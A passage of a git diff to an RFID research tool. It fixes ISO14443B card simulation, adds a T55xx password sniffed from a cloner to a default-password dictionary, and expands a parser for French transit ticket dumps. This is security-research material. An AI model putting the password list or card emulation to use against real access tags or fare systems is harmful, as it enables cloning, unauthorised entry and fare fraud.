diff --git a/CHANGELOG.md b/CHANGELOG.md index c03f3a4d5..98797cc01 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,12 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed a bad memory erase (@iceman1001) +- Fixed BT serial comms (@iceman1001) +- Changed `intertic.py` - updated and code clean up (@gentilkiwi) +- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier +- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp) +- Fixed 'hf 14b sim' - now works (@michi-jung) ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index a802f6282..604920e45 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -186,7 +186,7 @@ #endif // 4sample -#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x); +#define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x)); static void iso14b_set_timeout(uint32_t timeout_etu); static void iso14b_set_maxframesize(uint16_t size); @@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) { // Signal field is off with the appropriate LED LED_D_OFF(); + // TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us + SpinDelayUs(76); + // Modulate BPSK FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); - AT91C_BASE_SSC->SSC_THR = 0xFF; - FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR); // Transmit the response. for (uint16_t i = 0; i < len;) { @@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) { // Put byte into tx holding register as soon as it is ready if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { AT91C_BASE_SSC->SSC_THR = response[i++]; + + // Start-up SSC once first byte is in SSC_THR + if (i == 1) { + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR); + } } } } @@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) { static const uint8_t respOK[] = {0x00, 0x78, 0xF0}; uint16_t len, cmdsReceived = 0; - int cardSTATE = SIM_NOFIELD; + int cardSTATE = SIM_POWER_OFF; int vHf = 0; // in mV const tosend_t *ts = get_tosend(); @@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) { } // find reader field - if (cardSTATE == SIM_NOFIELD) { - - vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; - if (vHf > MF_MINFIELDV) { + vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; + if (vHf > MF_MINFIELDV) { + if (cardSTATE == SIM_POWER_OFF) { cardSTATE = SIM_IDLE; LED_A_ON(); } + } else { + cardSTATE = SIM_POWER_OFF; + LED_A_OFF(); } - if (cardSTATE == SIM_NOFIELD) { + if (cardSTATE == SIM_POWER_OFF) { continue; } @@ -820,73 +828,85 @@ void SimulateIso14443bTag(const uint8_t *pupi) { break; } - // ISO14443-B protocol states: - // REQ or WUP request in ANY state - // WUP in HALTED state - if (len == 5) { - if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) || - (receivedCmd[0] == ISO14443B_REQB)) { + LogTrace(receivedCmd, len, 0, 0, NULL, true); - LogTrace(receivedCmd, len, 0, 0, NULL, true); - cardSTATE = SIM_SELECTING; - } - } - - /* - * How should this flow go? - * REQB or WUPB - * send response ( waiting for Attrib) - * ATTRIB - * send response ( waiting for commands 7816) - * HALT - send halt response ( waiting for wupb ) - */ - - switch (cardSTATE) { - //case SIM_NOFIELD: - case SIM_HALTED: - case SIM_IDLE: { - LogTrace(receivedCmd, len, 0, 0, NULL, true); - break; - } - case SIM_SELECTING: { - TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); - LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); - cardSTATE = SIM_WORK; - break; - } - case SIM_HALTING: { - TransmitFor14443b_AsTag(encodedOK, encodedOKLen); - LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); - cardSTATE = SIM_HALTED; - break; - } - case SIM_ACKNOWLEDGE: { - TransmitFor14443b_AsTag(encodedOK, encodedOKLen); - LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); - cardSTATE = SIM_IDLE; - break; - } - case SIM_WORK: { - if (len == 7 && receivedCmd[0] == ISO14443B_HALT) { - cardSTATE = SIM_HALTED; - } else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) { - cardSTATE = SIM_ACKNOWLEDGE; - } else { - // Todo: - // - SLOT MARKER - // - ISO7816 - // - emulate with a memory dump - if (g_dbglevel >= DBG_DEBUG) { - Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived); - } - - cardSTATE = SIM_IDLE; + if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) { + // WUPB + switch (cardSTATE) { + case SIM_IDLE: + case SIM_READY: + case SIM_HALT: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + cardSTATE = SIM_READY; + break; + } + case SIM_ACTIVE: + default: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + break; } - break; } - default: { - break; + } else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) { + // REQB + switch (cardSTATE) { + case SIM_IDLE: + case SIM_READY: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + cardSTATE = SIM_READY; + break; + } + case SIM_ACTIVE: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + break; + } + case SIM_HALT: + default: { + break; + } + } + } else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) { + // HLTB + switch (cardSTATE) { + case SIM_READY: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + cardSTATE = SIM_HALT; + break; + } + case SIM_IDLE: + case SIM_ACTIVE: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + break; + } + case SIM_HALT: + default: { + break; + } + } + } else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) { + // ATTRIB + switch (cardSTATE) { + case SIM_READY: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + cardSTATE = SIM_ACTIVE; + break; + } + case SIM_IDLE: + case SIM_ACTIVE: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + break; + } + case SIM_HALT: + default: { + break; + } } } diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index 8e58942fb..70455ac15 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -49,12 +49,10 @@ void SniffIso14443b(void); void SendRawCommand14443B(iso14b_raw_cmd_t *p); // States for 14B SIM command -#define SIM_NOFIELD 0 +#define SIM_POWER_OFF 0 #define SIM_IDLE 1 -#define SIM_HALTED 2 -#define SIM_SELECTING 3 -#define SIM_HALTING 4 -#define SIM_ACKNOWLEDGE 5 -#define SIM_WORK 6 +#define SIM_READY 2 +#define SIM_HALT 3 +#define SIM_ACTIVE 4 #endif /* __ISO14443B_H */ diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c index fbbf95672..7604f6db7 100644 --- a/armsrc/spiffs.c +++ b/armsrc/spiffs.c @@ -646,7 +646,7 @@ void rdv40_spiffs_safe_print_tree(void) { SPIFFS_opendir(&fs, "/", &d); while ((pe = SPIFFS_readdir(&d, pe))) { - memset(resolvedlink, 0, sizeof(resolvedlink)); + memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN); if (rdv40_spiffs_is_symlink((const char *)pe->name)) { diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index 941826cc8..570264306 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -5,6 +5,8 @@ 51243648 000D8787 19920427 +# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay) +002BCFCF # ZX-copy3 T55xx / EM4305 # ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662 # default PROX diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index bbd3e8bb9..fdb5ff081 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -21,10 +21,14 @@ import sys, os from datetime import datetime, timedelta from bitarray import bitarray from bitarray.util import ba2int +from typing import NamedTuple class BitMe: def __init__(self): - self.data = bitarray() + self.data = bitarray(endian = 'big') + self.idx = 0 + + def reset(self): self.idx = 0 def addBits(self, bits): @@ -47,62 +51,233 @@ class BitMe: def isEmpty(self): return (len(self.data) == 0) +''' +A generic Describe_Usage function with variable number of bits between stamps will be more optimal +At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left' +''' + +TYPE_EventCode_Nature = { + 0x1: 'urban bus', + 0x2: 'interurban bus', + 0x3: 'metro', + 0x4: 'tramway', + 0x5: 'train', + 0x8: 'parking', +} + +TYPE_EventCode_Type = { + 0x1: 'entry validation', + 0x2: 'exit validation', + 0x4: 'ticket inspecting', + 0x6: 'connection entry validation', + 0x14: 'test validation', + 0x15: 'connection exit validation', + 0x16: 'canceled validation', + 0x17: 'invalidation', + 0x18: 'distribution', +} + +TYPE_EventGeoRoute_Direction = { + 0: 'undefined', + 1: 'outward', + 2: 'inward', + 3: 'circular', +} + +def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk = Usage.nom_bits(65) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk1... :', unk); + print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk0 = Usage.nom_bits(8) + EventCode_Nature = Usage.nom(5) + EventCode_Type = Usage.nom(5) + unk1 = Usage.nom_bits(11) + EventGeoVehicleId = Usage.nom(16) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventCountPassengers_mb = Usage.nom(4) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk0... :', unk0); + print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) + print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) + print(' unk1... :', unk1); + print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + EventCount_mb = Usage.nom(6) + unk0 = Usage.nom_bits(4) + EventCode_Nature_mb = Usage.nom(4) + EventCode_Type_mb = Usage.nom(4) + unk1 = Usage.nom_bits(11) + EventGeoVehicleId = Usage.nom(16) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventCountPassengers_mb = Usage.nom(4) + EventValidityTimeFirstStamp = Usage.nom(11) + + TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ? + 0x4: 'urban bus', + 0x1: 'tramway', + } + + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' Count(?) : {}'. format(EventCount_mb)) + print(' unk0... :', unk0); + print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?'))) + print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?'))) + print(' unk1... :', unk1); + print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + + +def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk0 = Usage.nom_bits(8) + EventCode_Nature = Usage.nom(5) + EventCode_Type = Usage.nom(5) + unk1 = Usage.nom_bits(11) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventCountPassengers_mb = Usage.nom(4) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk0... :', unk0); + print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) + print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) + print(' unk1... :', unk1); + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk = Usage.nom_bits(27) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk1... :', unk); + print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk = Usage.nom_bits(63) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk1... :', unk); + print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate): + print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!') + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + print(' !!! Trying Usage_1 (the most common) !!!') + Usage.reset() + Certificate.reset() + Describe_Usage_1(Usage, ContractMediumEndDate, Certificate) + +class InterticHelper(NamedTuple): + OrganizationalAuthority: str + ContractProvider: str + UsageDescribeFunction: callable = None ISO_Countries = { 0x250: 'France', } - FRA_OrganizationalAuthority_Contract_Provider = { 0x000: { - 5: 'Lille (Ilévia / Keolis)', - 7: 'Lens-Béthune (Tadao / Transdev)', + 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1), + 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1), }, 0x006: { - 1: 'Amiens (Ametis / Keolis)', + 1: InterticHelper('Amiens', 'Ametis / Keolis'), }, 0x008: { - 15: 'Angoulême (STGA)', + 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ? }, 0x021: { - 1: 'Bordeaux (TBM / Keolis)', + 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1), }, 0x057: { - 1: 'Lyon (TCL / Keolis)', + 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1 }, 0x072: { - 1: 'Tours (filbleu / Keolis)', + 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1), }, 0x078: { - 4: 'Reims (Citura / Transdev)', + 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2), }, 0x091: { - 1: 'Strasbourg (CTS)', + 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram ! }, 0x502: { - 83: 'Annecy (Sibra)', - 10: 'Clermont-Ferrand (T2C)', + 83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2), + 10: InterticHelper('Clermont-Ferrand', 'T2C'), }, 0x907: { - 1: 'Dijon (Divia / Keolis)', + 1: InterticHelper('Dijon', 'Divia / Keolis'), }, 0x908: { - 1: 'Rennes (STAR / Keolis)', - 8: 'Saint-Malo (MAT / RATP)', + 1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2), + 8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1), }, 0x911: { - 5: 'Besançon (Ginko / Keolis)', + 5: InterticHelper('Besançon', 'Ginko / Keolis'), }, 0x912: { - 3: 'Le Havre (Lia / Transdev)', - 35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)', + 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1), + 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'), }, 0x913: { - 3: 'Nîmes (Tango / Transdev)', + 3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3), }, 0x917: { - 4: 'Angers (Irigo / RATP)', - 7: 'Saint-Nazaire (Stran)', + 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2), + 7: InterticHelper('Saint-Nazaire', 'Stran'), }, } @@ -136,129 +311,88 @@ def main(): if not chunk: break data.addBytes(chunk[::-1]) - + file.close() - SystemArea = BitMe() Distribution_Data = BitMe() - C1 = BitMe() - C2 = BitMe() - Usage_Sta_B = BitMe() - Usage_Sta_E = BitMe() - Usage_Data = BitMe() - Usage_Cer = BitMe() + Block0Left = BitMe() + # Usage_DAT = BitMe() + # Usage_CER = BitMe() + Usage_A_DAT = BitMe() + Usage_A_CER = BitMe() + Usage_B_DAT = BitMe() + Usage_B_CER = BitMe() Distribution_Cer = BitMe() + SWAP = None + RELOADING1 = None + COUNTER1 = None + # RELOADING2 = None + # COUNTER2 = None + Describe_Usage = None - Distribution_Data_End = data.nom_bits(24) - SystemArea.addBits(data.nom_bits(8)) - - PID = SystemArea.nom(5) - bIsFlipFlop = PID & 0x10 - KeyId = SystemArea.nom(3) - - print() - print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop)); - print('KeyId :', hex(KeyId)); + Block0Left.addBits(data.nom_bits(23)) + KeyId = data.nom(4) + PID = data.nom(5) match PID: - - case 0x02: - Distribution_Data.addBits(data.nom_bits(3 * 32)) - Usage_Data_End = data.nom_bits(30) - Usage_Sta_B.addBits(data.nom_bits(2)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Usage_Data.addBits(data.nom_bits(7 * 32)) - Usage_Data.addBits(Usage_Data_End) - Usage_Data.addBits(data.nom_bits(14)) - Usage_Sta_E.addBits(data.nom_bits(2)) - Usage_Cer.addBits(data.nom_bits(16)) + + case 0x10: + Distribution_Data.addBits(data.nom_bits(2 * 32)) + Distribution_Data.addBits(Block0Left.nom_bits_left()) + Usage_A_DAT.addBits(data.nom_bits(2 * 32)) + RELOADING1 = data.nom(8) + COUNTER1 = data.nom(24) + SWAP = data.nom(32) + Usage_A_DAT.addBits(data.nom_bits(2 * 32)) + Usage_A_DAT.addBits(data.nom_bits(16)) + Usage_A_CER.addBits(data.nom_bits(16)) + Usage_B_DAT.addBits(data.nom_bits(4 * 32)) + Usage_B_DAT.addBits(data.nom_bits(16)) + Usage_B_CER.addBits(data.nom_bits(16)) Distribution_Cer.addBits(data.nom_bits(32)) - case 0x06: + case 0x11 | 0x19: Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(3 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Usage_Data_End = data.nom_bits(30) - Usage_Sta_B.addBits(data.nom_bits(2)) - Usage_Data.addBits(data.nom_bits(3 * 32)) - Usage_Data.addBits(Usage_Data_End) - Usage_Data.addBits(data.nom_bits(14)) - Usage_Sta_E.addBits(data.nom_bits(2)) - Usage_Cer.addBits(data.nom_bits(16)) + Distribution_Data.addBits(Block0Left.nom_bits_left()) + RELOADING1 = data.nom(8) + COUNTER1 = data.nom(24) + SWAP = data.nom(32) + Usage_A_DAT.addBits(data.nom_bits(3 * 32)) + Usage_A_DAT.addBits(data.nom_bits(16)) + Usage_A_CER.addBits(data.nom_bits(16)) + Usage_B_DAT.addBits(data.nom_bits(3 * 32)) + Usage_B_DAT.addBits(data.nom_bits(16)) + Usage_B_CER.addBits(data.nom_bits(16)) Distribution_Cer.addBits(data.nom_bits(32)) - - case 0x07: - Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(4 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Usage_Data_End = data.nom_bits(30) - Usage_Sta_B.addBits(data.nom_bits(2)) - Usage_Data.addBits(data.nom_bits(3 * 32)) - Usage_Data.addBits(Usage_Data_End) - Usage_Data.addBits(data.nom_bits(14)) - Usage_Sta_E.addBits(data.nom_bits(2)) - Usage_Cer.addBits(data.nom_bits(16)) - Distribution_Cer.addBits(data.nom_bits(32)) - - case 0x0a: - Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(8 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Distribution_Cer.addBits(data.nom_bits(32)) - # No USAGE for 0x0a - - case 0x0b: # Not in the draft :( - Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(8 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Distribution_Cer.addBits(data.nom_bits(32)) - + case _: - print('PID not (yet?) supported') + print('PID not (yet?) supported: 0x{:02x}'.format(PID)) return 3 + + print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0)); + print('KeyId : 0x{:1x}'.format(KeyId)) + print() + ''' DISTRIBUTION ------------ Not very well documented but seems standard for this part ''' - - ContractNetworkId = Distribution_Data.nom_bits(24) - CountryCode = ba2int(ContractNetworkId[0:0+12]) - OrganizationalAuthority = ba2int(ContractNetworkId[12:12+12]) - - ContractApplicationVersionNumber = Distribution_Data.nom(6) - ContractProvider = Distribution_Data.nom(8) - ContractTariff = Distribution_Data.nom(16) - ContractMediumEndDate = Distribution_Data.nom(14) - - Distribution_left = Distribution_Data.nom_bits_left() - - RELOADING1 = C1.nom(8) - COUNTER1 = C1.nom(24) - RELOADING2 = C2.nom(8) - COUNTER2 = C2.nom(24) - - ''' - USAGE - ----- - No documentation about Usage - All is left - ''' - Usage_left = Usage_Data.nom_bits_left() - if not Distribution_Data.isEmpty(): - print() + + ContractNetworkId = Distribution_Data.nom_bits(24) + CountryCode = ba2int(ContractNetworkId[0:0+12]) + OrganizationalAuthority = ba2int(ContractNetworkId[12:12+12]) + + ContractApplicationVersionNumber = Distribution_Data.nom(6) + ContractProvider = Distribution_Data.nom(8) + ContractTariff = Distribution_Data.nom(16) + ContractMediumEndDate = Distribution_Data.nom(14) + + Distribution_left = Distribution_Data.nom_bits_left() + print('DISTRIBUTION') print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); @@ -269,23 +403,42 @@ def main(): if (oa is not None): s = oa.get(ContractProvider) if (s is not None): - print(' ~ Authority & Provider ~ :', s) + print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider)) + Describe_Usage = s.UsageDescribeFunction print(' ContractTariff :', ContractTariff); print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); print(' left... :', Distribution_left); print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) - - print() - print('COUNTER') - print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1)) - print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2)) - - if not Usage_Data.isEmpty(): print() - print('USAGE') - print(' left... :', Usage_left); - print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16))) + if(Describe_Usage is None): + Describe_Usage = Describe_Usage_Generic + + if COUNTER1 is not None: + print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1)) + # if COUNTER2 is not None: + # print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2)) + if SWAP is not None: + print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A')) + + + ''' + USAGE + ----- + No real documentation about Usage + Nearly all is left... - did not seen implementation with 2 counters or 1 Usage + ''' + + if not Usage_A_DAT.isEmpty(): + print() + print('USAGE_A') + Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER) + + if not Usage_B_DAT.isEmpty(): + print() + print('USAGE_B') + Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER) + return 0 diff --git a/client/src/comms.c b/client/src/comms.c index 90493dae0..091f51d86 100644 --- a/client/src/comms.c +++ b/client/src/comms.c @@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool txBufferNG.pre.ng = ng; txBufferNG.pre.length = len; 